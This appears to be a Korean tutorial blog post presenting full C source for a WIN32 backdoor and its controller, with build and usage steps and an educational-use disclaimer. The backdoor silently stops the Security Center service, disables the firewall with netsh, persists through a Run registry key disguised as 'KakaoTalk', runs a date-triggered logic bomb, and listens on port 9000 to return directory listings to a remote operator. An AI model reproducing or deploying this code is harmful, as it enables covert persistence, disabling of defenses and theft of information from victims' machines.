test.txt 라는 파일이 있다면 내용을 읽어와서 출력을 하고 

만약 없다면 종료시키는 프로그램의 코드이다.





디버깅 한 곳에 먼저 test.txt 파일을 생성해놓자.

안에 내용도 적절히 써준다.






프로그램을 실행하면 test.txt 파일을 찾아서 안에 내용을 출력하여준다.




'운영체제<구축,해킹,보안> > WIN32' 카테고리의 다른 글

[WIN32]백도어 프로그램 실습  (0) 2018.05.29

*악성코드의 원리와 이해를 돕기위해 교육목적으로 작성된 포스팅입니다.

 꼭 자신의 교육 환경에서 사용하시길 바랍니다. 

 후에 발생한 사고는 저의 책임이 아닙니다.







솔루션 (오른쪽클릭)-속성 -일반-문자집합을 사용안함으로 설정해야 에러가 나오지 않음.




//server ,서버는 win32 콘솔 프로젝트 말고 나머지 1개로 설정..(기억이 잘안남)

#include<winsock2.h> // windows.h 포함


#pragma comment(lib,"ws2_32.lib")


void RegisterStartProgram() {

   HKEY hKey;

   char cur_path[255];

   DWORD dwDisp, dwSize;

   if( RegCreateKeyEx(HKEY_LOCAL_MACHINE, //시작프로그램 등록하기 위해서 run 키 열기

     "Software\\Microsoft\\Windows\\CurrentVersion\\run",

      0, NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,

      NULL, &hKey, &dwDisp) != ERROR_SUCCESS)  {

      RegCloseKey(hKey);

      //return false;

   }

     

   GetModuleFileName(NULL, cur_path, MAX_PATH);//자신의 파일명 알아오기

   dwSize = strlen(cur_path);


   if( RegSetValueEx (hKey, "KakaoTalk", 0, REG_SZ, 

       (LPBYTE)cur_path, dwSize ) != ERROR_SUCCESS)  {

      RegCloseKey(hKey);

      //return false;

   }

   RegCloseKey(hKey);

   RegFlushKey(hKey);

}


void bomb(){

      SYSTEMTIME systime1;

   while(1){

      GetSystemTime(&systime1);

      if(systime1.wYear == 2018 && systime1.wMonth == 8 && systime1.wDay == 2){

         WinExec("calc.exe", MB_OK);

      }

      Sleep(5000);

   }

}


void AttackCommandRun(SOCKET *sock1){

   int retval=0;

   char buf[MAX_PATH];

   char *cmd1, *arg1;

   char file_list[1024]="\0";

   HANDLE hFile;

   SOCKET sock2= *sock1;

   while(1) {

     retval = recv(sock2, buf, sizeof(buf), 0);

     int ret = WSAGetLastError();

     buf[retval]='\0';     

     

     cmd1=strtok(buf," ");

     arg1=strtok(NULL," ");

     if(lstrcmp(cmd1,"dir") == 0){

         lstrcat(arg1, "\\*");     

         WIN32_FIND_DATA file_info;        

         hFile=FindFirstFile(arg1,&file_info);

         wsprintf(file_list,"%s\n%s",file_list, file_info.cFileName);

         while (FindNextFile(hFile,&file_info) !=0 ) {

            wsprintf(file_list,"%s\n%s\n",file_list, file_info.cFileName);

         }   

         retval = send(sock2, file_list, strlen(file_list), 0);

   

     }

   }

}


int WINAPI WinMain(HINSTANCE hInstance, 

  HINSTANCE hPrevInstance, LPSTR lpCmdLine, 

  int nShowCmd )

{

   WinExec("sc stop wscsvc", SW_HIDE); //보안센터 서비스 끄기

   Sleep(3000); //서비스 꺼질떄까지 잠시 대기

   ShellExecute(NULL, "open", "netsh", "firewall set opmode disable",NULL, SW_HIDE); //방화벽 끄기

   Sleep(3000); //방화벽 꺼질 때까지 잠시 대기


   RegisterStartProgram(); //시작프로그램 등록하기

   

   HANDLE hThread1;

   hThread1=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)bomb, NULL, 0, NULL);

   //WaitForSingleObject(hThread1,INFINITE);


   int retval;

   WSADATA wsa; 

   if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) // ws2_32.dll 초기화

      return -1;

   SOCKET tcp_sock = socket(AF_INET, SOCK_STREAM, 0);

   SOCKADDR_IN serveraddr; 

   ZeroMemory(&serveraddr, sizeof(serveraddr));

   serveraddr.sin_family = AF_INET;

   serveraddr.sin_port = htons(9000);

   serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);

   retval = bind(tcp_sock, (SOCKADDR *)&serveraddr, sizeof(serveraddr));

   retval = listen(tcp_sock, SOMAXCONN);

  

   SOCKET client_sock;

   SOCKADDR_IN clientaddr;

   int addrlen;

   char buf[10];

   HANDLE hThread2;


   while(1){

      addrlen = sizeof(clientaddr);

      client_sock = accept(tcp_sock, (SOCKADDR *)&clientaddr, &addrlen);

      hThread2=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)AttackCommandRun, 

                          &client_sock,0,NULL);

   }


   return 0;

}







//tool.cpp ,툴은 WIN32콘솔 프로젝트-빈프로젝트로 제작

#include<winsock2.h>

#include<stdlib.h>

#include<stdio.h>

#pragma comment(lib,"ws2_32.lib")


int main(void) {

 int retval;

 char totcmd[MAX_PATH], cmd1[10], arg1[MAX_PATH], buf2[1024];

 char backdoor_ip[16];

 printf("Input Backdoor IP: ");

 scanf("%s", backdoor_ip);


 WSADATA wsa;

 if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return -1;

 SOCKET tcp_sock = socket(AF_INET, SOCK_STREAM, 0);

 SOCKADDR_IN servaddr;

 ZeroMemory(&servaddr, sizeof(servaddr));

 servaddr.sin_family = AF_INET;

 servaddr.sin_port = htons(9000);

 servaddr.sin_addr.s_addr = inet_addr(backdoor_ip);

 retval = connect(tcp_sock, (SOCKADDR *)&servaddr, sizeof(servaddr));

 while(1){

    printf("Input Command: ");

    scanf("%s %s", cmd1, arg1);

    if(lstrcmp(cmd1, "dir")==0){      

       wsprintf(totcmd, "%s %s", cmd1, arg1);

      retval = send(tcp_sock, totcmd, strlen(totcmd), 0); //명령어 전송

      retval = recv(tcp_sock, buf2, sizeof(buf2), 0);   

      buf2[retval]='\0';

      printf("File List: %s \n", buf2);

    }

    

 }

 

 return 0;

}



둘다 디버깅을 하고 back_srv를 먼저 켜준다.





작업관리자에 back_srv2.exe가 올라온것을 확인한다.





그다음 tool을 사용한다. back_srv가 실행된 곳의 ip를 입력한다.

지금은 혼자 서버열고 혼자 툴을 킨 상태이므로 자신의 ip를 입력한다.






ip를 입력하여 커맨드를 입력한다

dir c:\\windows 는 windows 디렉토리에 있는 모든 파일을 보여달라는 명령어다.






모든 dir이 표시된다. 이런 방식으로 명령어를 입력하여 정보를 빼올 수 있다.


+ Recent posts